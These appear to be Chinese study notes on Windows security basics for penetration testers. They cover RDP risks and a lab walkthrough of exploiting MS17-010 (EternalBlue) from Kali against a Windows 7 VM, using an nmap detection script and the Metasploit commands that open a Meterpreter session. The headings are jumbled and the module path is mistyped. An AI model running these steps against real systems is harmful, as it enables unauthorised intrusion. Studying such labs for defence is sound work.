一、学习总览
（一）学习目标
二、Windows 系统基础认知
（一）为什么学 Windows 系统基础？
- 企业场景占比极高：企业内部服务器、个人办公电脑中，Windows 系统占比极高，是渗透测试的核心目标之一。
- 渗透测试的前提：系统基础是理解漏洞原理、工具使用的前提，只有 “知其然更知其所以然”，才能在攻防对抗中占据主动。
（二）操作系统核心概念
操作系统（Operating System, OS） 是管理和控制计算机硬件与软件资源的计算机程序，是直接运行在 “裸机” 上的最基本系统软件，所有其他软件都必须在操作系统的支持下才能运行。
（三）主流操作系统分类
| 操作系统 | 核心特点 | 应用场景 |
| windows | 图形界面友好，兼容应用广泛 | 企业服务器、个人办公电脑、专用工业设备 |
| Linux | 自由开源，稳定性高，安全性强，生态专，用户体验好 | 服务器、嵌入式设备、渗透测试环境、开发者工作站 |
| macOS | 苹果专有，生态闭环，用户体验佳 | 设计师、开发者工作站 |
(三)Windows 核心服务认知
RDP 服务（远程桌面服务）
- 定义：微软专有远程控制协议，默认占用3389 端口，支持图形化界面远程操作
- 应用场景：远程办公（配合 VPN 使用）、服务器远程管理、技术支持（通过mstsc.exe发起协助）、云桌面服务
- 安全关联：弱密码、未限制登录尝试、开启默认端口等配置不当情况，极易被暴力破解或远程攻击，是渗透测试中高频关注的服务
（四）Windows 远程 RDP 连接前提
（二）SMB 协议基础
（三）漏洞利用实验（Kali + Win7）
1. 实验环境
（三）漏洞利用实验（Kali + Win7）
1. 实验环境攻击机：
Kali Linux（默认配置，安装 Metasploit 框架）
目标机：Windows 7 旗舰版（IP：192.168.157.130，开启 SMB 服务，未安装 MS17-010 补丁）
2.利用步骤
（1）漏洞扫描
使用nmap脚本检测目标是否存在 MS17-010 漏洞：
三、Windows 系统服务安全：经典漏洞 MS17-010（永恒之蓝）
（一）漏洞背景
nmap –script smb-vuln-ms17-010 <目标IP>
启动 Metasploit 框架
msfconsole
(3)搜索并加载利用模块
search ms17-010
use exploit/windows/smb.ms17_010_eternalblue
(4)配置攻击参数
set RHOSTS <目标IP>
set LHOST <你的kali本机IP>
exploit
攻击成功后会获得目标机的Meterpreter
五、总结与思考
Windows 系统作为企业和个人用户的主流选择，其安全问题始终是攻防对抗的核心战场。从基础的版本差异、服务认知，到经典漏洞 MS17-010 的利用与防护，再到用户权限管理与后门技术，每一个环节都体现了 “知己知彼，百战不殆” 的安全思想。 对于安全从业者而言，掌握 Windows 系统底层逻辑，不仅是渗透测试的必备技能，更是构建安全防御体系的基础。而对于普通用户和企业管理员来说，及时更新系统补丁、关闭不必要服务、强化账户权限，是抵御绝大多数安全威胁的有效手段。 未来，随着 Windows 系统的不断迭代，新的安全挑战也将不断涌现，唯有持续学习、不断实践，才能在复杂的网络安全环境中站稳脚跟。
